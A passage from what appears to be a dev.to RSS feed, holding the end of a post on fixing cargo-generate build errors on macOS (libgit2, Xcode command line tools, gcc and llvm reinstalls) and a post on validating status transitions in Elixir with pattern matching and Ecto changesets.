  
  Solution
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;libgit2&lt;/code&gt; was somehow missing from my machine. So we just need to install it. &lt;/p&gt;

&lt;p&gt;For MacOS brew user,&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;brew &lt;span class="nb"&gt;install &lt;/span&gt;libgit2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Problem 2: &lt;code&gt;CoreFoundation&lt;/code&gt; not found
&lt;/h2&gt;

&lt;p&gt;After fixing the previous issue and installed again, I encountered the new issue.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;cargo &lt;span class="nb"&gt;install &lt;/span&gt;cargo-generate &lt;span class="nt"&gt;--features&lt;/span&gt; vendored-openssl
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ld: framework not found CoreFoundation
          clang: error: linker &lt;span class="nb"&gt;command &lt;/span&gt;failed with &lt;span class="nb"&gt;exit &lt;/span&gt;code 1 &lt;span class="o"&gt;(&lt;/span&gt;use &lt;span class="nt"&gt;-v&lt;/span&gt; to see invocation&lt;span class="o"&gt;)&lt;/span&gt;


error: aborting due to previous error

error: failed to compile &lt;span class="sb"&gt;`&lt;/span&gt;cargo-generate v0.6.1&lt;span class="sb"&gt;`&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Solution
&lt;/h3&gt;

&lt;p&gt;It is probably the issue on MacOS BigSur which removed some of the built-in libraries.&lt;/p&gt;

&lt;p&gt;1. Reinstall xcode command line tools to make sure we have the latest version.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo rm&lt;/span&gt; &lt;span class="nt"&gt;-rf&lt;/span&gt; /Library/Developer/CommandLineTools
&lt;span class="nb"&gt;sudo &lt;/span&gt;xcode-select &lt;span class="nt"&gt;--install&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;2. Install gcc &amp;amp; llvm via Homebrew. If it mentions that you already installed, perform the next step.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# WARNING: This can take several hours&lt;/span&gt;
brew &lt;span class="nb"&gt;install &lt;/span&gt;gcc
brew &lt;span class="nb"&gt;install &lt;/span&gt;llvm
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;3. Reinstall (only for machine with gcc and llvm installed via home brew.)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;brew cleanup
brew update
brew upgrade
brew reinstall gcc
brew reinstall llvm
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;4. Try installing cargo-generate again. 🎉&lt;/p&gt;




&lt;blockquote&gt;
&lt;p&gt;Special thanks to &lt;a class="mentioned-user" href="https://dev.to/iporsut"&gt;@iporsut&lt;/a&gt; for helping me solve the issue. 🙏&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>rust</category>
      <category>cargo</category>
    </item>
    <item>
      <title>Simple Elixir State Machine for Validation</title>
      <dc:creator>Turbo Panumarch</dc:creator>
      <pubDate>Sun, 13 Sep 2020 07:15:25 +0000</pubDate>
      <link>https://dev.to/turboza/simple-elixir-state-machine-for-validation-kao</link>
      <guid>https://dev.to/turboza/simple-elixir-state-machine-for-validation-kao</guid>
      <description>&lt;p&gt;At some point, we will have an entity which the status can be transitioned to many possibilities and we want to have a rule to enforce an integrity of the data. &lt;/p&gt;

&lt;p&gt;For example, this is a human emotion state change diagram.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--90ovvhOw--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/n4r6j7nlae21xudz2jgr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--90ovvhOw--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/n4r6j7nlae21xudz2jgr.png" alt="state machine"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And some transitions are okay, while some are not.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight elixir"&gt;&lt;code&gt;&lt;span class="c1"&gt;# 👌 OK&lt;/span&gt;
&lt;span class="n"&gt;iex&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(%&lt;/span&gt;&lt;span class="no"&gt;Human&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="ss"&gt;emotion:&lt;/span&gt; &lt;span class="ss"&gt;:hungry&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;%{&lt;/span&gt;&lt;span class="ss"&gt;emotion:&lt;/span&gt; &lt;span class="ss"&gt;:full&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="ss"&gt;:ok&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;%&lt;/span&gt;&lt;span class="no"&gt;Human&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="ss"&gt;emotion:&lt;/span&gt; &lt;span class="ss"&gt;:full&lt;/span&gt;&lt;span class="p"&gt;}}&lt;/span&gt;

&lt;span class="c1"&gt;# 🙅‍♂️ No, get something to eat first!&lt;/span&gt;
&lt;span class="n"&gt;iex&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(%&lt;/span&gt;&lt;span class="no"&gt;Human&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="ss"&gt;emotion:&lt;/span&gt; &lt;span class="ss"&gt;:hungry&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;%{&lt;/span&gt;&lt;span class="ss"&gt;emotion:&lt;/span&gt; &lt;span class="ss"&gt;:sleepy&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="ss"&gt;:error&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"invalid status change"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  🤖 Simple validation with pattern matching
&lt;/h3&gt;

&lt;p&gt;For elixir developer, you can guess the pattern matching is pretty good for solving state change problem like this.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight elixir"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(%&lt;/span&gt;&lt;span class="no"&gt;Human&lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;human&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;attrs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
  &lt;span class="n"&gt;with&lt;/span&gt; &lt;span class="ss"&gt;:ok&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;-&lt;/span&gt; &lt;span class="n"&gt;validate_status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;human&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;emotion&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;attrs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;emotion&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
  &lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight elixir"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="n"&gt;validate_status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;current_status&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;new_status&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
  &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;current_status&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;new_status&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
    &lt;span class="c1"&gt;# Put all the transition paths as a whitelist&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="ss"&gt;:hungry&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:full&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="ss"&gt;:ok&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="ss"&gt;:hungry&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:angry&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="ss"&gt;:ok&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="ss"&gt;:angry&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:angry&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="ss"&gt;:ok&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="ss"&gt;:angry&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:full&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="ss"&gt;:ok&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="ss"&gt;:full&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:sleepy&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="ss"&gt;:ok&lt;/span&gt;

    &lt;span class="c1"&gt;# return error for the rest&lt;/span&gt;
    &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="ss"&gt;:error&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"invalid status change"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  ⚡️ Can we embed this rules into Ecto changeset?
&lt;/h3&gt;

&lt;p&gt;If we want the rule to be strictly applied to the ecto data schema, we can also build a custom changeset validation for status change as well.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight elixir"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="n"&gt;changeset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;human&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;attrs&lt;/span&gt; &lt;span class="p"&gt;\\&lt;/span&gt; &lt;span class="p"&gt;%{})&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
  &lt;span class="n"&gt;human&lt;/span&gt;
  &lt;span class="o"&gt;|&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;cast&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="o"&gt;|&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;validate_required&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="o"&gt;|&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;validate_status_change&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="c1"&gt;# &amp;lt;- custom validation&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight elixir"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="n"&gt;validate_status_change&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;changeset&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
  &lt;span class="c1"&gt;# Get current and new field data&lt;/span&gt;
  &lt;span class="n"&gt;current_status&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;changeset&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;
  &lt;span class="n"&gt;new_status&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_field&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;changeset&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:status&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

  &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;current_status&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;new_status&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
    &lt;span class="c1"&gt;# do nothing if ok&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="ss"&gt;:hungry&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:full&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;changeset&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="ss"&gt;:hungry&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:angry&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;changeset&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="ss"&gt;:angry&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:angry&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;changeset&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="ss"&gt;:angry&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:full&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;changeset&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="ss"&gt;:full&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:sleepy&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;changeset&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="no"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;changeset&lt;/span&gt; &lt;span class="c1"&gt;# any new status is ok&lt;/span&gt;

    &lt;span class="c1"&gt;# add error to ecto changeset errors&lt;/span&gt;
    &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;add_error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;changeset&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:status&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"invalid status change"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's it! Hope this could give you some idea in your next task. Feel free to discuss if you have any comments! 😊&lt;/p&gt;

</description>
      <category>elixir</category>
    </item>
  </channel>
</rss>
